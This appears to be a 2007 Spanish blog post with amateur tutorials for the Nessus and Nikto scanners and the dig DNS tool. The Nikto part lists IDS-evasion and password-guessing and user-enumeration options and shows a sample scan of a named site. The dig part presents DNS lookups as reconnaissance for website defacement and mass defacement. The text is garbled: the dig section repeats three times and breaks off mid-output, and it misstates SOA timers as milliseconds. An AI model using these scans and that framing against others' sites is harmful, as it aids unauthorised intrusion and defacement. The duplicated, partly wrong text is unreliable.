martes 23 de octubre de 2007

Manual Nessus

Introduccion:
A pedido de muchas personas, y como veo que no hay muucha documentacion de Nessus, voy a hacer mi manual en español para instalarlo, actualizarlo y utilizarlo step-by-step (paso a paso) bajo linux. Pese a que a partir de la version 3.x la licencia del nessus no es gpl (es comercial) la guia va a ser de estas versiones, preferentemene de la 3.0.5.

Descarga de Nessus:
Por razones que no comprendo con exactitud, el proceso de instalacion del nessus es bastante e innecesariamente largo.
Primero vamos a la pagina de nessus (www.nessus.org) y luego vamos a la parte de descargas (DOWNLOADS). Ahi nos da la opcion de elegir la version del nessus y el SO, ustedes elegiran el que quieran, yo recomiendo 3.0.5 para linux, porque este manual es para ese SO. Una vez seleccionado, presionamos el boton DOWNLOAD. A continuacion nos aparecera una licencia comercial que ni dan ganas de leerla. Bajamos y seleccionamos I accept (aunque piensen lo contario) xD. Despues de esto tenemos que llenar los casilleros con nuestros datos. Asegurense de poner el mail aunquesea correctamente porque es ahi donde recibiran un codigo de verificacion. Continuamos y por fin nos aparecen los links de descarga. Como podran apreciar, solo aparecen unas cuantas distros:

Debian 3.1 Nessus-3.0.5-debian3_i386.deb 5928 KB
Red Hat ES 3 Nessus-3.0.5-es3.i386.rpm 7249 KB
Red Hat ES 4 Nessus-3.0.5-es4.i386.rpm 7288 KB
Fedora Core 4 Nessus-3.0.5-fc4.i386.rpm 7831 KB
Fedora Core 5 Nessus-3.0.5-fc5.i386.rpm 7864 KB
Fedora Core 6 Nessus-3.0.5-fc6.i386.rpm 7866 KB
SuSE 10 Nessus-3.0.5-suse10.0.i586.rpm 5726 KB
SuSE 9.3 Nessus-3.0.5-suse9.3.i586.rpm 5742 KB

Obviamente se bajan el que les corresponde, es posible que su distro no este ahi. Si su distro usa rpm bajense el de fedora, o red hat, o suse, seguro que les anda. Si usan .deb bajense el de debian, que seguro les va a andar. Si usan paquetes .tgz como yo (uso slackware), se van a tener que bajar el de SuSe 10 y lo van a tener que pasar a .tgz con el comando rpm2tgz que ya viene con slackware. Si usan otro paquete, manden un mail a deraison@nessus.org donde el señor Renaud Deraison o su secretario/a les va a contestar amarga y hostilmente, pero la respuesta va a servir.

Instalacion:

Una vez que tienen su paquete preparado o bajado, lo tendran que instalar normalmente:

En red hat o suse:

rpm -ivh Nessus-3.0.5-*

En Debian:

dpkg -i Nessus-3.0.5-*

Y en slackware:

installpkg Nessus-3.0.5-*

Si usan otra distro, sabran hacerlo.

Una vez instalado, diriganse al directorio donde fue instalado Nessus, por defecto es /opt/nessus y ejecutamos el archivo nessus-add-first-user para crearle un usuario al Nessus.

#cd /opt/nessus/sbin
#./nessus-add-first-user
Ahi llenenlo como quieran. Excepto en la parte de User rules:
Si quieren leanse el nessus-adduser man page, pero es medio al pedo, alcanza con que pongan
default-accept como regla para que el usuario pueda escanear un host remoto.

Despues de eso, nos vamos al directorio bin/ y ejecutamos el nessus-mkcert-client

#cd ..
#cd bin/
#./nessus-mkcert-client
Y responden las preguntas como quieran, asegurense de que en la primer pregunta (Do you want to register the users in the Nessus server...) poner que si en el caso de que el usuario creado para nessus y el programa este instalado en la misma PC.

En caso de que quieran hacer un segundo usuario para nessus (con mas o menos privilegios), hacen esto:

#cd ..
#cd sbin/
#./nessus-adduser
Y lo llenan con los datos que quieran.

Una vez hecho esto, vamos a ejecutar el demonio de nessus. Con esto vamos a poner el servidor nessus. Esto es necesario hacerlo cada vez que van a usar el programa, ya que el cliente GTK de nessus e incluso la consola necesitan un servidor para conectarse. Sino no anda.

#cd /opt/nessus/sbin
#./nessusd -D

Y dejamos que carguen los plugins (puede tardar unos minutos).

Instalando el codigo de activacion:

Por la paranohia de la gente de nessus, para utilizar el programa, hay que registrarlo con el codigo que es enviado gratuitamente a tu mail. Asi que abri tu casilla de correo y en el mail que te mandaron copia una licencia o codigo de activacion. Luego de copiarlo, anda a la consola y hace esto:

#cd /opt/nessus/bin
#./nessus-fetch --register CODIGO-DE-ACTIVACION-QUE-TIENEN

Una vez finalizado esto, ya terminaron con la instalacion.

ACTUALIZACION:

En la pagina de nessus, los plugins se actualizan constantemente. Por lo tanto, siempre te conviene estar al dia. Hay dos formas para actualizar:

1)La mas comoda y recomendada:

Vamos a la consola y escribimos esto:

#cd /opt/nessus/sbin
#./nessus-update-plugins

Va a tardar un buen rato. Esto deberias hacerlo todos los dias para mantenerte al dia con los plugins.

2)Menos comoda:

Vas a la pagina de nessus, vas a la parte de plugins, seleccionas los que te interesan, los copias y los pegas en /opt/nessus/lib/nessus/plugins con formato .nasl usando el editor de texto que quieras. Esto se usa porque cuando actualizas, los plugins mas viejos no se bajan, por lo tanto te conviene hacerlo con los plugins que mas te interesen, por lo menos una vez.

Listo cheesy Solo falta que les explique como usarlo.

UTILIZACION DEL NESSUS:

Hay dos formas de usar el nessus: con el cliente GTK y el cliente de consola. Yo uso la consola porque me gusta mas. Asi que les voy a enseñar como hacerlo desde la consola suponiendo que no arrancaron el server

#cd /opt/nessus/sbin
#./nessusd -D //Arrancamos el server en modo demonio o background
#cd ..
#cd bin/
#vim targets.txt //Aca usamos el editor que queramos, en mi caso el vim, para crear el archivo donde se encuentren los hosts a escanear. Adentro del archivo debemos poner el host o la IP
#./nessus -q 127.0.0.1 1241 usuariodenessus contraseñadelusuario /opt/nessus/bin/targets.txt /opt/nessus/bin/resultados.txt //El archivo targets debe ser creado si o si antes de ejecutar el cliente, le pueden poner cualquier nombre y donde quieran, siempre especifiquen la ubicacion. El archivo resultados.txt lo crea el nessus, ahi van los logs del escaneo. Donde dice usuariodenessus va el usuario que le crearon a nessus y en contraseñadelusuario, obviamente va la contraseña del usuario.


Autor: Tiger

Manual Nikto

Breve introducción:

Nikto es un scanner para servidores web realizado en Perl (obviamente tiene licencia Open Source GPL) que corre bajo linux y tiene una gran base de datos de ataques CGI y mas en 230 tipos de servidores distintos. Es utilizado tanto para seguridad como para buscar vulnerabilidades en servidores.
La version actual es la 1.36.

Más información: http://www.cirt.net/code/nikto.shtml

Manual:

*Para comenzar bajense el source, en lo posible el bz2 que viene mas comprimido:

http://www.cirt.net/nikto/nikto-1.36.tar.bz2

Aunque tambien esta el gz:

http://www.cirt.net/nikto/nikto-current.tar.gz

*Ahora si, una vez que lo bajan lo extraen y colocan la carpeta donde quieran. Entran a la carpeta y ejecutan el archivo principal nikto.pl con las opciones correspondientes. A continuación voy a proceder a describir las opciones más comunes (las que estan en negrita son obligatorias, las demas no):

NOTA: Se pueden abreviar escribiendo la primer letra de la palabra, ej: Cgidirs: -C, cookies -c, evasion -e

-Cgidirs: Scanear los directorios CGI; tienen que especificar. Las opciones que se pueden utilizar son: none (ninguno) all (todos) o alguno en especifico que quieran ustedes, ej: /cgi/

-cookies: muestra las cookies que son encontradas

-evasion: Esto habilita la deteccion de intrusiones por medio de tecnicas de evasion; se pueden utilizar las siguientes tecnicas:
1 Random URI encoding(cuando el encoding del webserver no es UTF8)
2 Add directory self-reference /./ (usar en servidores unix)
3 Premature URL ending
4 Prepend long random string to request
5 Fake parameters to files
6 TAB as request spacer instead of spaces
7 Random case sensitivity
8 Use Windows directory separator \ instead of / (usar en servidores windows)
9 Session splicing
ej: -e 8
En caso de que quieran usar mas de 1: -e 15 (usamos el 1 y el 5)


-findonly: encontrar solamente el puerto http(s) en el/los servidore/s y no realizar un scaneado completo.

-Format: guardar los logs con un formato a especificar, puede ser: html, csv o txt

-generic: forzar al scaner a realizar un scaneado completo (poco utilizado)

-host: el host a scanear

-id: autentificacion para el host, se suele utilizar asi: iddeusuario:contraseña (

-mutate: Utilizar técnicas de mutación (se recomienda utilizarlo para un mejor scaneo):
Mutation Techniques:
1 Test all files with all root directories (probar todos los archivos con todos los directorios de usuario root)
2 Guess for password file names (Adivinar contraseñas)
3 Enumerate user names via Apache (/~user type requests) (enumerar usuarios via apache)
4 Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests) (enumerar usuarios via cgiwrap)
Se utiliza como las tecnicas de evasion


-nolookup: No realizar el lookup a el servidor (poco utilizado)

-output: Para guardar en un fichero de salida (no es obiligatorio pero se recomienda)

-port: Puerto a scanear (generalmente 80)

-root: poner permisos de root a todos los pedidos, el formato es: /directorio (no es obligatorio, pero se recomienda)

-ssl: forzar modo ssl al puerto a scanear

-timeout: utilizar para especificar un timeout (cuando el tiempo de espera se agota) (por defecto es de 10 segundos)

-useproxy: utilizar la configuracion del proxy indicada en el archivo config.txt

-Version: mostrar version de la base de datos y de los plugins

-vhost: utilizar host virtual (requiere un argumento)

Opciones que no pueden ser abreviadas:

-config: seleccionar archivo de configuración

-debug: modo de debugging

-verbose: utilizar en modo verbose (RULEZ tongue)

-update: actualizar el programa (vease base de datos, plugins)



Espero que les haya gustado, aca les dejo un ejemplo de como utilizarlo:

root@undergroundfusion.net# ./nikto.pl -C all -e 2 -h www.underground-fusion.net -p 80 -m 2 -verbose



Autor: Tiger

Manual Dig

Dig es una herramienta principalmente de linux, utilizada para el envio de ordenes DNS, esta herramienta es muy util hablando de defacing, y de detectar que webs estan en un server (utilizado para mass defacement), sin mas que decir comenzemos:

El primer comando que es de los que mas destaca de los que utilizaremos es el siguiente:
Quote
BT ~ # dig ns

Este comando nos devolvera una lista de super DNS, que podremos utilizar para trabajar:

Quote
; <<>> DiG 9.3.2 <<>> ns
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 4874
;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 13

;; QUESTION SECTION:
;. IN NS

;; ANSWER SECTION:
. 234977 IN NS L.ROOT-SERVERS.NET.
. 234977 IN NS M.ROOT-SERVERS.NET.
. 234977 IN NS A.ROOT-SERVERS.NET.
. 234977 IN NS B.ROOT-SERVERS.NET.
. 234977 IN NS C.ROOT-SERVERS.NET.
. 234977 IN NS D.ROOT-SERVERS.NET.
. 234977 IN NS E.ROOT-SERVERS.NET.
. 234977 IN NS F.ROOT-SERVERS.NET.
. 234977 IN NS G.ROOT-SERVERS.NET.
. 234977 IN NS H.ROOT-SERVERS.NET.
. 234977 IN NS I.ROOT-SERVERS.NET.
. 234977 IN NS J.ROOT-SERVERS.NET.
. 234977 IN NS K.ROOT-SERVERS.NET.

;; ADDITIONAL SECTION:
M.ROOT-SERVERS.NET. 30938 IN A 202.12.27.33
A.ROOT-SERVERS.NET. 591011 IN A 198.41.0.4
B.ROOT-SERVERS.NET. 30938 IN A 192.228.79.201
C.ROOT-SERVERS.NET. 39988 IN A 192.33.4.12
D.ROOT-SERVERS.NET. 53749 IN A 128.8.10.90
E.ROOT-SERVERS.NET. 30938 IN A 192.203.230.10
F.ROOT-SERVERS.NET. 591011 IN A 192.5.5.241
G.ROOT-SERVERS.NET. 53680 IN A 192.112.36.4
H.ROOT-SERVERS.NET. 30939 IN A 128.63.2.53
I.ROOT-SERVERS.NET. 40043 IN A 192.36.148.17
J.ROOT-SERVERS.NET. 591011 IN A 192.58.128.30
K.ROOT-SERVERS.NET. 591011 IN A 193.0.14.129
L.ROOT-SERVERS.NET. 30938 IN A 198.32.64.12

;; Query time: 383 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:09:15 2007
;; MSG SIZE rcvd: 436


Algunas funciones de dig:

Tracer:
Quote
BT ~ # dig web.com +trace
Bueno creo que es logico lo que hace.....

Resolver DNS de una web:
Quote
BT ~ # dig web.com NS

Esto nos devuelve la lista de los servidores DNS de determinada web.

Ejemplo:
Quote
BT ~ # dig google.com NS

; <<>> DiG 9.3.2 <<>> google.com NS
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 27071
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 4

;; QUESTION SECTION:
;google.com. IN NS

;; ANSWER SECTION:
google.com. 64768 IN NS ns1.google.com.
google.com. 64768 IN NS ns2.google.com.
google.com. 64768 IN NS ns3.google.com.
google.com. 64768 IN NS ns4.google.com.

;; ADDITIONAL SECTION:
ns2.google.com. 345450 IN A 216.239.34.10
ns3.google.com. 345450 IN A 216.239.36.10
ns4.google.com. 345450 IN A 216.239.38.10
ns1.google.com. 345450 IN A 216.239.32.10

;; Query time: 276 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:26:59 2007
;; MSG SIZE rcvd: 164

Listar Servidores de Correo de determinado dominio:

Quote
BT ~ # dig google.com MX

; <<>> DiG 9.3.2 <<>> google.com MX
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 35446
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 4

;; QUESTION SECTION:
;google.com. IN MX

;; ANSWER SECTION:
google.com. 4237 IN MX 10 smtp1.google.com.
google.com. 4237 IN MX 10 smtp2.google.com.
google.com. 4237 IN MX 10 smtp3.google.com.
google.com. 4237 IN MX 10 smtp4.google.com.

;; ADDITIONAL SECTION:
smtp2.google.com. 1054 IN A 64.233.167.25
smtp3.google.com. 1060 IN A 64.233.183.25
smtp4.google.com. 1066 IN A 72.14.215.25
smtp1.google.com. 3329 IN A 72.14.203.25

;; Query time: 583 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:28:39 2007
;; MSG SIZE rcvd: 180

Consultar datos de un Dominio en determinado servidor DNS:

Quote
BT ~ # dig google.com @ns1.google.com

; <<>> DiG 9.3.2 <<>> google.com @ns1.google.com
; (1 server found)
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 34414
;; flags: qr aa rd; QUERY: 1, ANSWER: 3, AUTHORITY: 4, ADDITIONAL: 4

;; QUESTION SECTION:
;google.com. IN A

;; ANSWER SECTION:
google.com. 300 IN A 64.233.167.99
google.com. 300 IN A 72.14.207.99
google.com. 300 IN A 64.233.187.99

;; AUTHORITY SECTION:
google.com. 345600 IN NS ns1.google.com.
google.com. 345600 IN NS ns2.google.com.
google.com. 345600 IN NS ns3.google.com.
google.com. 345600 IN NS ns4.google.com.

;; ADDITIONAL SECTION:
ns1.google.com. 345600 IN A 216.239.32.10
ns2.google.com. 345600 IN A 216.239.34.10
ns3.google.com. 345600 IN A 216.239.36.10
ns4.google.com. 345600 IN A 216.239.38.10

;; Query time: 1124 msec
;; SERVER: 216.239.32.10#53(216.239.32.10)
;; WHEN: Tue Sep 25 20:30:38 2007
;; MSG SIZE rcvd: 212

DNS Inverso:

Quote
BT ~ # dig -x google.com

; <<>> DiG 9.3.2 <<>> -x google.com
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: FORMERR, id: 36927
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;com.google.in-addr.arpa. IN PTR

;; Query time: 3 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:35:52 2007
;; MSG SIZE rcvd: 41

Numero IP en IPv6:

Quote
BT ~ #dig google.com AAAA

; <<>> DiG 9.3.2 <<>> google.com AAAA
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 21031
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;google.com. IN AAAA

;; AUTHORITY SECTION:
google.com. 39 IN SOA ns1.google.com. dns-admin.google.com. 2007091701 7200 1800 1209600 300

;; Query time: 1084 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:41:20 2007
;; MSG SIZE rcvd: 78
[/b]

otra funcion que tambien les recomiendo es la de ANY, la cual nos devuelve los servidores de correo, DNS, y varios datos mas:

Quote
BT ~ # dig google.com ANY

; <<>> DiG 9.3.2 <<>> google.com ANY
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 65404
;; flags: qr rd ra; QUERY: 1, ANSWER: 11, AUTHORITY: 0, ADDITIONAL: 8

;; QUESTION SECTION:
;google.com. IN ANY

;; ANSWER SECTION:
google.com. 181 IN A 64.233.167.99
google.com. 181 IN A 72.14.207.99
google.com. 181 IN A 64.233.187.99
google.com. 63936 IN NS ns1.google.com.
google.com. 63936 IN NS ns2.google.com.
google.com. 63936 IN NS ns3.google.com.
google.com. 63936 IN NS ns4.google.com.
google.com. 3505 IN MX 10 smtp2.google.com.
google.com. 3505 IN MX 10 smtp3.google.com.
google.com. 3505 IN MX 10 smtp4.google.com.
google.com. 3505 IN MX 10 smtp1.google.com.

;; ADDITIONAL SECTION:
ns2.google.com. 345481 IN A 216.239.34.10
ns3.google.com. 345481 IN A 216.239.36.10
ns4.google.com. 345481 IN A 216.239.38.10
ns1.google.com. 345481 IN A 216.239.32.10
smtp3.google.com. 328 IN A 64.233.183.25
smtp4.google.com. 334 IN A 72.14.215.25
smtp1.google.com. 3332 IN A 72.14.203.25
smtp2.google.com. 322 IN A 64.233.167.25

;; Query time: 1243 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:40:52 2007
;; MSG SIZE rcvd: 364

Mail del responsable y otros datos del DNS:
Quote
BT ~ # dig google.com SOA

; <<>> DiG 9.3.2 <<>> google.com SOA
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 52736
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;google.com. IN SOA

;; ANSWER SECTION:
google.com. 86400 IN SOA ns1.google.com. dns-admin.google.com. 2007091701 7200 1800 1209600 300

;; Query time: 2563 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:51:14 2007
;; MSG SIZE rcvd: 78

aqui el correo seria: dns-admin@google.com (cambiando el "." por @), el DNS primario seria: ns1.google.com, y su ultima actualizacion fue: 2007/09/17, el TTL (Time to a live) es de 300, el tiempo de espera para actualizacion de los DNS's secundarios (con respecto al primario) es de: 7200, el tiempo de reintento (cuando hay error al conectar con DNS primario) es de: 1800, y el tiempo de caducidad (el tiempo que el servidor mantendra en cache los datos sin actualizar en caso de error de actualizacion) es de: 1209600 (si no me equivoco estos datos estan en milisegundos).

otras funciones utiles:
+nocmd
+nocomments
+noquestion
+noanswer
+noauthority
+noadditional
+nostats
+noall

Su funcion es logica, y son utiles cuando queremos resumir las respuestas....Dig es una herramienta principalmente de linux, utilizada para el envio de ordenes DNS, esta herramienta es muy util hablando de defacing, y de detectar que webs estan en un server (utilizado para mass defacement), sin mas que decir comenzemos:

El primer comando que es de los que mas destaca de los que utilizaremos es el siguiente:
Quote
BT ~ # dig ns

Este comando nos devolvera una lista de super DNS, que podremos utilizar para trabajar:

Quote
; <<>> DiG 9.3.2 <<>> ns
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 4874
;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 13

;; QUESTION SECTION:
;. IN NS

;; ANSWER SECTION:
. 234977 IN NS L.ROOT-SERVERS.NET.
. 234977 IN NS M.ROOT-SERVERS.NET.
. 234977 IN NS A.ROOT-SERVERS.NET.
. 234977 IN NS B.ROOT-SERVERS.NET.
. 234977 IN NS C.ROOT-SERVERS.NET.
. 234977 IN NS D.ROOT-SERVERS.NET.
. 234977 IN NS E.ROOT-SERVERS.NET.
. 234977 IN NS F.ROOT-SERVERS.NET.
. 234977 IN NS G.ROOT-SERVERS.NET.
. 234977 IN NS H.ROOT-SERVERS.NET.
. 234977 IN NS I.ROOT-SERVERS.NET.
. 234977 IN NS J.ROOT-SERVERS.NET.
. 234977 IN NS K.ROOT-SERVERS.NET.

;; ADDITIONAL SECTION:
M.ROOT-SERVERS.NET. 30938 IN A 202.12.27.33
A.ROOT-SERVERS.NET. 591011 IN A 198.41.0.4
B.ROOT-SERVERS.NET. 30938 IN A 192.228.79.201
C.ROOT-SERVERS.NET. 39988 IN A 192.33.4.12
D.ROOT-SERVERS.NET. 53749 IN A 128.8.10.90
E.ROOT-SERVERS.NET. 30938 IN A 192.203.230.10
F.ROOT-SERVERS.NET. 591011 IN A 192.5.5.241
G.ROOT-SERVERS.NET. 53680 IN A 192.112.36.4
H.ROOT-SERVERS.NET. 30939 IN A 128.63.2.53
I.ROOT-SERVERS.NET. 40043 IN A 192.36.148.17
J.ROOT-SERVERS.NET. 591011 IN A 192.58.128.30
K.ROOT-SERVERS.NET. 591011 IN A 193.0.14.129
L.ROOT-SERVERS.NET. 30938 IN A 198.32.64.12

;; Query time: 383 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:09:15 2007
;; MSG SIZE rcvd: 436


Algunas funciones de dig:

Tracer:
Quote
BT ~ # dig web.com +trace
Bueno creo que es logico lo que hace.....

Resolver DNS de una web:
Quote
BT ~ # dig web.com NS

Esto nos devuelve la lista de los servidores DNS de determinada web.

Ejemplo:
Quote
BT ~ # dig google.com NS

; <<>> DiG 9.3.2 <<>> google.com NS
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 27071
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 4

;; QUESTION SECTION:
;google.com. IN NS

;; ANSWER SECTION:
google.com. 64768 IN NS ns1.google.com.
google.com. 64768 IN NS ns2.google.com.
google.com. 64768 IN NS ns3.google.com.
google.com. 64768 IN NS ns4.google.com.

;; ADDITIONAL SECTION:
ns2.google.com. 345450 IN A 216.239.34.10
ns3.google.com. 345450 IN A 216.239.36.10
ns4.google.com. 345450 IN A 216.239.38.10
ns1.google.com. 345450 IN A 216.239.32.10

;; Query time: 276 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:26:59 2007
;; MSG SIZE rcvd: 164

Listar Servidores de Correo de determinado dominio:

Quote
BT ~ # dig google.com MX

; <<>> DiG 9.3.2 <<>> google.com MX
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 35446
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 4

;; QUESTION SECTION:
;google.com. IN MX

;; ANSWER SECTION:
google.com. 4237 IN MX 10 smtp1.google.com.
google.com. 4237 IN MX 10 smtp2.google.com.
google.com. 4237 IN MX 10 smtp3.google.com.
google.com. 4237 IN MX 10 smtp4.google.com.

;; ADDITIONAL SECTION:
smtp2.google.com. 1054 IN A 64.233.167.25
smtp3.google.com. 1060 IN A 64.233.183.25
smtp4.google.com. 1066 IN A 72.14.215.25
smtp1.google.com. 3329 IN A 72.14.203.25

;; Query time: 583 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:28:39 2007
;; MSG SIZE rcvd: 180

Consultar datos de un Dominio en determinado servidor DNS:

Quote
BT ~ # dig google.com @ns1.google.com

; <<>> DiG 9.3.2 <<>> google.com @ns1.google.com
; (1 server found)
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 34414
;; flags: qr aa rd; QUERY: 1, ANSWER: 3, AUTHORITY: 4, ADDITIONAL: 4

;; QUESTION SECTION:
;google.com. IN A

;; ANSWER SECTION:
google.com. 300 IN A 64.233.167.99
google.com. 300 IN A 72.14.207.99
google.com. 300 IN A 64.233.187.99

;; AUTHORITY SECTION:
google.com. 345600 IN NS ns1.google.com.
google.com. 345600 IN NS ns2.google.com.
google.com. 345600 IN NS ns3.google.com.
google.com. 345600 IN NS ns4.google.com.

;; ADDITIONAL SECTION:
ns1.google.com. 345600 IN A 216.239.32.10
ns2.google.com. 345600 IN A 216.239.34.10
ns3.google.com. 345600 IN A 216.239.36.10
ns4.google.com. 345600 IN A 216.239.38.10

;; Query time: 1124 msec
;; SERVER: 216.239.32.10#53(216.239.32.10)
;; WHEN: Tue Sep 25 20:30:38 2007
;; MSG SIZE rcvd: 212

DNS Inverso:

Quote
BT ~ # dig -x google.com

; <<>> DiG 9.3.2 <<>> -x google.com
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: FORMERR, id: 36927
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;com.google.in-addr.arpa. IN PTR

;; Query time: 3 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:35:52 2007
;; MSG SIZE rcvd: 41

Numero IP en IPv6:

Quote
BT ~ #dig google.com AAAA

; <<>> DiG 9.3.2 <<>> google.com AAAA
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 21031
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;google.com. IN AAAA

;; AUTHORITY SECTION:
google.com. 39 IN SOA ns1.google.com. dns-admin.google.com. 2007091701 7200 1800 1209600 300

;; Query time: 1084 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:41:20 2007
;; MSG SIZE rcvd: 78
[/b]

otra funcion que tambien les recomiendo es la de ANY, la cual nos devuelve los servidores de correo, DNS, y varios datos mas:

Quote
BT ~ # dig google.com ANY

; <<>> DiG 9.3.2 <<>> google.com ANY
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 65404
;; flags: qr rd ra; QUERY: 1, ANSWER: 11, AUTHORITY: 0, ADDITIONAL: 8

;; QUESTION SECTION:
;google.com. IN ANY

;; ANSWER SECTION:
google.com. 181 IN A 64.233.167.99
google.com. 181 IN A 72.14.207.99
google.com. 181 IN A 64.233.187.99
google.com. 63936 IN NS ns1.google.com.
google.com. 63936 IN NS ns2.google.com.
google.com. 63936 IN NS ns3.google.com.
google.com. 63936 IN NS ns4.google.com.
google.com. 3505 IN MX 10 smtp2.google.com.
google.com. 3505 IN MX 10 smtp3.google.com.
google.com. 3505 IN MX 10 smtp4.google.com.
google.com. 3505 IN MX 10 smtp1.google.com.

;; ADDITIONAL SECTION:
ns2.google.com. 345481 IN A 216.239.34.10
ns3.google.com. 345481 IN A 216.239.36.10
ns4.google.com. 345481 IN A 216.239.38.10
ns1.google.com. 345481 IN A 216.239.32.10
smtp3.google.com. 328 IN A 64.233.183.25
smtp4.google.com. 334 IN A 72.14.215.25
smtp1.google.com. 3332 IN A 72.14.203.25
smtp2.google.com. 322 IN A 64.233.167.25

;; Query time: 1243 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:40:52 2007
;; MSG SIZE rcvd: 364

Mail del responsable y otros datos del DNS:
Quote
BT ~ # dig google.com SOA

; <<>> DiG 9.3.2 <<>> google.com SOA
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 52736
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;google.com. IN SOA

;; ANSWER SECTION:
google.com. 86400 IN SOA ns1.google.com. dns-admin.google.com. 2007091701 7200 1800 1209600 300

;; Query time: 2563 msec
;; SERVER: 192.168.1.254#53(192.168.1.254)
;; WHEN: Tue Sep 25 20:51:14 2007
;; MSG SIZE rcvd: 78

aqui el correo seria: dns-admin@google.com (cambiando el "." por @), el DNS primario seria: ns1.google.com, y su ultima actualizacion fue: 2007/09/17, el TTL (Time to a live) es de 300, el tiempo de espera para actualizacion de los DNS's secundarios (con respecto al primario) es de: 7200, el tiempo de reintento (cuando hay error al conectar con DNS primario) es de: 1800, y el tiempo de caducidad (el tiempo que el servidor mantendra en cache los datos sin actualizar en caso de error de actualizacion) es de: 1209600 (si no me equivoco estos datos estan en milisegundos).

otras funciones utiles:
+nocmd
+nocomments
+noquestion
+noanswer
+noauthority
+noadditional
+nostats
+noall

Su funcion es logica, y son utiles cuando queremos resumir las respuestas....Dig es una herramienta principalmente de linux, utilizada para el envio de ordenes DNS, esta herramienta es muy util hablando de defacing, y de detectar que webs estan en un server (utilizado para mass defacement), sin mas que decir comenzemos:

El primer comando que es de los que mas destaca de los que utilizaremos es el siguiente:
Quote
BT ~ # dig ns

Este comando nos devolvera una lista de super DNS, que podremos utilizar para trabajar:

Quote
; <<>> DiG 9.3.2 <<>> ns
;; global options: printcmd
;; Got answer:
;; Flecha>HEADER<<- opcode: QUERY, status: NOERROR, id: 4874
;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 13

;; QUESTION SECTION:
;. IN NS

;; ANSWER SECTION:
. 234977 IN NS L.ROOT-SERVERS.NET.
. 234977 IN NS M.ROOT-SERVERS.NET.
. 234977 IN NS A.ROOT-SERVERS.NET.
. 234977 IN NS B.ROOT-SERVERS.NET.
. 234977 IN NS C.ROOT-SERVERS.NET.
. 234977 IN NS D.ROOT-SERVERS.NET.
. 234977 IN NS E.ROOT-SERVERS.NET.
. 234977 IN NS F.ROOT-SERVERS.NET.
. 234977 IN NS G.ROOT-SERVERS.NET.
. 234977 IN NS H.ROOT-SERVERS.NET.
. 234977 IN NS I.ROOT-SERVERS.NET.
. 234977 IN NS J.ROOT-SERVERS.NET.
. 234977 IN NS K.ROOT-SERVERS.NET.

;; ADDITIONAL SECTION:
